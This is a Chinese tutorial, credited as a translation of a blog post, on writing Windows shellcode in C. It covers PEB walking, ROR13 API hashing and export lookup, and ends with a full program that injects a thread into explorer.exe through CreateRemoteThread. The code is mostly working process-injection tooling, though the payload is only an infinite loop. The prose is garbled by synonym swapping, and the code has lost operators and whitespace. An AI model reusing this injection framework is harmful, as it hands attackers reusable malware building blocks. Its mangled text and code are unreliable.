环境
有时程序猿们必须写一段单独于部位实际操作的代码,可作为一段数据信息写到别的过程或是互联网中去。该种类代码在它问世之初就被称作shellcode,在手机软件运用中网络黑客们为此获得到shell管理权限。方式是利用那样或那般的故意技巧促使这一段代码得到实行,进行它的重任。当然,该代码仅能靠它自身,创作者没法应用当代开发软件的实践活动来推动shellcode的编写。
汇编常见于编写shellcode,尤其是对代码尺寸苛刻的情况下,汇编便是好的挑选。对于我本人来讲,大部分新项目都必须一段相近可以引入到别的过程的代码。此刻我便并不是尤其在乎代码尺寸了,反倒是开发设计高效率及其调节工作能力变得至关重要。一开始,我就用NASM编写单独的汇编程序流程,把得到的輸出文件格式转换为C二维数组,随后融合到我的流程中。这恰好是你在milw0rm那样的网址上所见到的,大部分exploit payload的获得方法。最后我厌烦如此的方法,尽管很怀恋NASM完备的作用,我还是逐渐应用内联汇编来解决困难。伴随着工作经验的累积,我发现一个彻底可以用的纯C开发设计shellcode的方式,仅需2条内联汇编命令。就开发设计速率和调节shellcode时的前后文来讲,确实比纯粹应用汇编的方式 有非常大的改善。应用设备级的例如ollydbg那样的调试器,我毫不含糊,但这相对性于用Visual Studio调试器来调节C源代码,便是小菜一碟。
准备工作
为了更好地保证能转化成可作为shellcode那样特殊文件格式的代码,大家要对Visual Studio做些独特的配备。下边的各种配备,很有可能随编译器的变动而变更:
1、应用Release方式。近期编译器的Debug方式很有可能造成反序的函数,而且会插进很多与部位相应的启用。
2、禁止使用提升。编译器会默认设置提升这些并没有应用的函数,而那很有可能就是大家所需求的。
3、禁止使用栈缓冲区域安全大检查(/Gs)。在函数首尾所启用的栈查验函数,存有于二进制文件的某些指定部位,造成导出的函数不可以重精准定位,这对shellcode是无意义的。
第一个shellcode
#includevoidshell_code(){for(;;);}void._declspec(naked)END_SHELLCODE(void){}intmain(intargc,char*argv[]){intsizeofshellcode=(int)END_SHELLCODE-(int)shell_code;return0;}
这儿所实例的shellcode除开一个不断循环,什么事也没干。但是有一点是非常主要的————放到shell_code函数以后的END_SHELLCODE。拥有这一,大家就能根据shell_code函数开始和END_SHELLCODE函数开头间的间距来明确shellcode的长短了。也有,C语言在这儿所表现的益处便是大家可以把程序流程自身作为一段数据信息来浏览,因此如果我们必须把shellcode提到此外一份文档中,仅需简易的启用fwrite(shell_code, sizeofshellcode, 1, filehandle)。
Visual Studio自然环境中,根据启用shell_code函数,依靠IDE的调节专业技能,就可以比较容易的调节shellcode了。
在上面所显示的第一个小实例中,shellcode仅用了一个函数,实际上我们可以应用很多函数。仅仅全部的函数必须持续地储放在shell_code函数和END_SHELLCODE函数中间,这主要是因为当在内部结构函数间启用时,call命令一直相对性的。call指令的意思是“从距这儿X字节数的地区启用一个函数”。因此如果我们把实行call的代码和被启用的代码都拷到别的地区,与此同时又保障了他们间的相对性间距,那麼连接时就不容易出岔子。
Shellcode中数据的应用
传统式C源代码中,假如要用一段例如ASCII标识符的数据信息,可以立即嵌入进来,不用担忧数据信息的储放,例如: WinExec(“evil.exe”)。这儿的“evil.exe”字符串数组被储存在C系统的静态数据地区(很可能是二进制的.rdata节中),如果我们把这一段代码复制出去,尝试将其引入到别的过程中,便会因那一段标识符不会有于别的过程的指定部位而不成功。传统式汇编编写的shellcode可以简单的应用数据信息,这根据应用call命令获得到偏向代码自身的表针,而这一段代码很有可能就混杂着数据信息。下边是一个应用汇编完成的shellcode方法的WinExec调用:
callend_of_stringdb'evil.exe',0end_of_string:callWinExec
这儿的第一个call命令绕过标识符数据信息”evial.exe”,与此同时在栈顶储放了一个偏向字符串数组的表针,稍候会被作为WinExec函数的主要参数。这类别出心裁的应用数据信息的方式 拥有很高的空间利用率,可是很遗憾在C语言中并没有与此等额的的立即启用。在使用C写shellcode时,我建议应用栈区来储放和应用字符串数组。为了更好地使微软公司编译器在栈上动态性的分派标识符便于重精准定位,你需要如下所示解决:
charmystring[]={'e','v','i','l','.','e','x','e',0};winexec(mystring);
你就会发现,我将字符串数组申明为字符数组的方式。假如那样写char mystring[] = “evil.exe”; 在旧式的微软公司编译器中,它会根据一系列的mov指令来组成字符串数组,而如今仅会简易的将字符串数组从运行内存中的确定部位拷到栈中,而要是必须重精准定位代码,这就失效了。把这两种方式 都试一下,下载免费的IDA Pro版本号看一下两者的反汇编代码。上边的赋值语句的反汇编应当看上去如下所示所显示:
mov[ebp mystring],65hmov[ebp mystring 1],76hmov[ebp mystring 2],69hmov[ebp mystring 3],6Chmov[ebp mystring 4],2Ehmov[ebp mystring 5],65hmov[ebp mystring 6],78hmov[ebp mystring 7],65hmov[ebp mystring 8],0
解决信息时,字符串数组真的是很烦恼的一件事。别的例如结构体、枚举类型、typedef申明、函数表针啊这种,都能假如你预估的那般一切正常工作中,你能运用C给予的整套作用。保证数据信息为静态变量,一切都OK了。
应用库函数
我将这篇文章致力于Windows自然环境的shellcode。上边所提到的一些标准也适用Unix系统软件。Windows自然环境下的shellcode会更繁杂一点,由于人们沒有一致公布的方式 开展系统进程,如同在Unix中仅需几个汇编代码就可以的那般(对int 80h的启用)。大家必须利用DLL中保证的API函数,来开展系统调用做些像读写能力文档、网络通信那样的事。这种DLL最后会开展需要的系统调用,而它的完成关键点几乎伴随着每一次Windows的公布而转变。像《The Shellcoder’s Handbook》那样的树立性作品勾勒了寻找运行内存中DLL解析函数的方式。假如想将shellcode保证在不一样Windows版本号间的可扩展性,有两个函数公式是一定的:1、搜索kernel32.dll的函数公式;2、完成GetProcAddress()函数公式或是搜索GetProcAddress()详细地址的函数公式。我所给予的建立是根据hash的并非字符串数组的较为,下边我将给予用以shellcode的hash完成,并做一个简洁明了的表明。
Hash函数公式
在shellcode中,应用hash开展函数公式的查找是非常广泛的。较受欢迎的ROR13 hash方式是最经常使用的,它的完成也用在了《The Shellcoder’s Handbook》中。它的主要观念是在我们要查看一个名叫“MyFunction”的函数公式时,并不是将字符串数组储放在存储空间中,对每一个函数公式名开展字符串数组的核对,反而是转化成一个32位的hash值,将每一个函数公式名开展hash核对。这并不可以减少运作時间,可是可以节约shellcode的室内空间,也有着一定的反反向作用。下边我给予了ASCII和Unicode版本号的ROR13 hash完成:
DWORD._stdcallunicode_ror13_hash(constWCHAR*unicode_string){DWORDhash=0;while(*unicode_string!=0){DWORDval=(DWORD)*unicode_string ;hash=(hash>>13)|(hash<<19);}returnhash;}DWORD__stdcallror13_hash(constchar*string){DWORDhash=0;while(*string){DWORDval=(DWORD)*string ;hash=(hash>>13)|(hash<<19);}returnhash;}
搜索DLL
有3个单链表可以用于叙述运行内存中读取的DLL:
InMemoryOrderModuleList、InInitializationOrderModuleList和InLoadOrderModuleList。他们都是在PEB(过程自然环境块)中。在你的shellcode中,用哪个都能够,我常用的是InMemoryOrderModuleList。必须如下所示的两根内联选编来浏览PEB:
PPEB._declspec(naked)get_peb(void){__asm{moveax,fs:[0x30]ret}}
如今大家早已获得了PEB,可以查看运行内存中的DLL了。唯一的一直出现于Windows过程运行内存中的DLL是ntdll.dll,但kernel32.dll会更便捷一点,而且在99.99%的Windows过程中(Win32分系统)都可以用。下边我带来的源代码完成会查看module目录,利用unicode的ROR13 hash值查出kernel32.dll。
HMODULE._stdcallfind_kernel32(void){returnfind_module_by_hash(0x8FECD63F);}HMODULE__stdcallfind_module_by_hash(DWORDhash){PPEBpeb;LDR_DATA_TABLE_ENTRY*module_ptr,*first_mod;peb=get_peb();module_ptr=(PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;first_mod=module_ptr;do{if(unicode_ror13_hash((WCHAR*)module_ptr->FullDllName.Buffer)==hash)return(HMODULE)module_ptr->Reserved2[0];elsemodule_ptr=(PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];}while(module_ptr&&module_ptr!=first_mod);returnINVALID_HANDLE_VALUE;}
这儿所供应的find_module_by_hash函数公式可以利用dll名字的hash值寻找随意的载入在存储空间中的DLL。假如要载入一个新的本来不会再运行内存中的DLL,就要应用kernel32.dll中的LoadLibrary函数公式。要寻找LoadLibrary函数公式,大家就必须完成GetProcAddress函数。下边的源代码完成利用函数公式名的hash值在载入的dll中查找函数:
FARPROC._stdcallfind_function(HMODULEmodule,DWORDhash){IMAGE_DOS_HEADER*dos_header;IMAGE_NT_HEADERS*nt_headers;IMAGE_EXPORT_DIRECTORY*export_dir;DWORD*names,*funcs;WORD*nameords;inti;dos_header=(IMAGE_DOS_HEADER*)module;nt_headers=(IMAGE_NT_HEADERS*)((char*)module dos_header->e_lfanew);export_dir=(IMAGE_EXPORT_DIRECTORY*)((char*)module nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);names=(DWORD*)((char*)module export_dir->AddressOfNames);funcs=(DWORD*)((char*)module export_dir->AddressOfFunctions);nameords=(WORD*)((char*)module export_dir->AddressOfNameOrdinals);for(i=0;i<export_dir->NumberOfNames;i ){char*string=(char*)module names[i];if(hash==ror13_hash(string)){WORDnameord=nameords[i];DWORDfuncrva=funcs[nameord];return(FARPROC)((char*)module funcrva);}}returnNULL;}
如今我们可以那样查找函数:
HMODULEkern32=find_kernel32();FARPROCloadlibrarya=find_function(kern32,0xEC0E4E8E);
最后制成品
如今我将以详细的C系统的方法来展现上边所提到的內容。执行命令时,将转化成名叫shellcode.bin的文档,它就储存着shellcode。该shellcode可以向explorer.exe引入一个进程,完成不断循环,直到耗费完cpu。
#include<stdio.h>#include<Windows.h>#include<winternl.h>#include<wchar.h>#include<tlhelp32.h>PPEBget_peb(void);DWORD._stdcallunicode_ror13_hash(constWCHAR*unicode_string);DWORD__stdcallror13_hash(constchar*string);HMODULE._stdcallfind_module_by_hash(DWORDhash);HMODULE__stdcallfind_kernel32(void);FARPROC._stdcallfind_function(HMODULEmodule,DWORDhash);HANDLE__stdcallfind_process(HMODULEkern32,constchar*procname);VOID._stdcallinject_code(HMODULEkern32,HANDLEhprocess,constchar*code,DWORDsize);BOOL__stdcallstrmatch(constchar*a,constchar*b);void._stdcallshell_code(){HMODULEkern32;DWORD*dwptr;HANDLEhProcess;charprocname[]={'e','x','p','l','o','r','e','r','.','e','x','e',0};charcode[]={0xEB,0xFE};kern32=find_kernel32();hProcess=find_process(kern32,(char*)procname);inject_code(kern32,hProcess,code,sizeofcode);}HANDLE__stdcallfind_process(HMODULEkern32,constchar*procname){FARPROCcreatetoolhelp32snapshot=find_function(kern32,0xE454DFED);FARPROCprocess32first=find_function(kern32,0x3249BAA7);FARPROCprocess32next=find_function(kern32,0x4776654A);FARPROCopenprocess=find_function(kern32,0xEFE297C0);FARPROCcreateprocess=find_function(kern32,0x16B3FE72);HANDLEhSnapshot;PROCESSENTRY32pe32;hSnapshot=(HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS,0);if(hSnapshot==INVALID_HANDLE_VALUE)returnINVALID_HANDLE_VALUE;pe32.dwSize=sizeof(PROCESSENTRY32);if(!process32first(hSnapshot,&pe32))returnINVALID_HANDLE_VALUE;do{if(strmatch(pe32.szExeFile,procname)){returnopenprocess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);}}while(process32next(hSnapshot,&pe32));returnINVALID_HANDLE_VALUE;}BOOL._stdcallstrmatch(constchar*a,constchar*b){while(*a!=''&&*b!=''){charaA_delta='a'-'A';chara_conv=*a>='a'&&*a<='z'?*a-aA_delta:*a;charb_conv=*b>='a'&&*b<='z'?*b-aA_delta:*b;if(a_conv!=b_conv)returnFALSE;a ;b ;}if(*b==''&&*a=='')returnTRUE;elsereturnFALSE;}VOID._stdcallinject_code(HMODULEkern32,HANDLEhprocess,constchar*code,DWORDsize){FARPROCvirtualallocex=find_function(kern32,0x6E1A959C);FARPROCwriteprocessmemory=find_function(kern32,0xD83D6AA1);FARPROCcreateremotethread=find_function(kern32,0x72BD9CDD);LPVOIDremote_buffer;DWORDdwNumBytesWritten;remote_buffer=virtualallocex(hprocess,NULL,size,MEM_COMMIT,PAGE_EXECUTE_READWRITE);if(remote_buffer==NULL)return;if(!writeprocessmemory(hprocess,remote_buffer,code,size,&dwNumBytesWritten))return;createremotethread(hprocess,NULL,0,remote_buffer,NULL,0,NULL);}HMODULE__stdcallfind_kernel32(void){returnfind_module_by_hash(0x8FECD63F);}HMODULE._stdcallfind_module_by_hash(DWORDhash){PPEBpeb;LDR_DATA_TABLE_ENTRY*module_ptr,*first_mod;peb=get_peb();module_ptr=(PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;first_mod=module_ptr;do{if(unicode_ror13_hash((WCHAR*)module_ptr->FullDllName.Buffer)==hash)return(HMODULE)module_ptr->Reserved2[0];elsemodule_ptr=(PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];}while(module_ptr&&module_ptr!=first_mod);returnINVALID_HANDLE_VALUE;}PPEB__declspec(naked)get_peb(void){._asm{moveax,fs:[0x30]ret}}DWORD__stdcallunicode_ror13_hash(constWCHAR*unicode_string){DWORDhash=0;while(*unicode_string!=0){DWORDval=(DWORD)*unicode_string ;hash=(hash>>13)|(hash<<19);hash =val;}returnhash;}DWORD._stdcallror13_hash(constchar*string){DWORDhash=0;while(*string){DWORDval=(DWORD)*string ;hash=(hash>>13)|(hash<<19);hash =val;}returnhash;}FARPROC__stdcallfind_function(HMODULEmodule,DWORDhash){IMAGE_DOS_HEADER*dos_header;IMAGE_NT_HEADERS*nt_headers;IMAGE_EXPORT_DIRECTORY*export_dir;DWORD*names,*funcs;WORD*nameords;inti;dos_header=(IMAGE_DOS_HEADER*)module;nt_headers=(IMAGE_NT_HEADERS*)((char*)module dos_header->e_lfanew);export_dir=(IMAGE_EXPORT_DIRECTORY*)((char*)module nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);names=(DWORD*)((char*)module export_dir->AddressOfNames);funcs=(DWORD*)((char*)module export_dir->AddressOfFunctions);nameords=(WORD*)((char*)module export_dir->AddressOfNameOrdinals);for(i=0;i<export_dir->NumberOfNames;i ){char*string=(char*)module names[i];if(hash==ror13_hash(string)){WORDnameord=nameords[i];DWORDfuncrva=funcs[nameord];return(FARPROC)((char*)module funcrva);}}returnNULL;}void._declspec(naked)END_SHELLCODE(void){}intmain(intargc,char*argv[]){FILE*output_file=fopen("shellcode.bin","w");fwrite(shell_code,(int)END_SHELLCODE-(int)shell_code,1,output_file);fclose(output_file);return0;}
由来声明:文中来源于Nick Harbour的博文《Writing Shellcode with a C Compiler》,由IDF实验室徐文博翻译。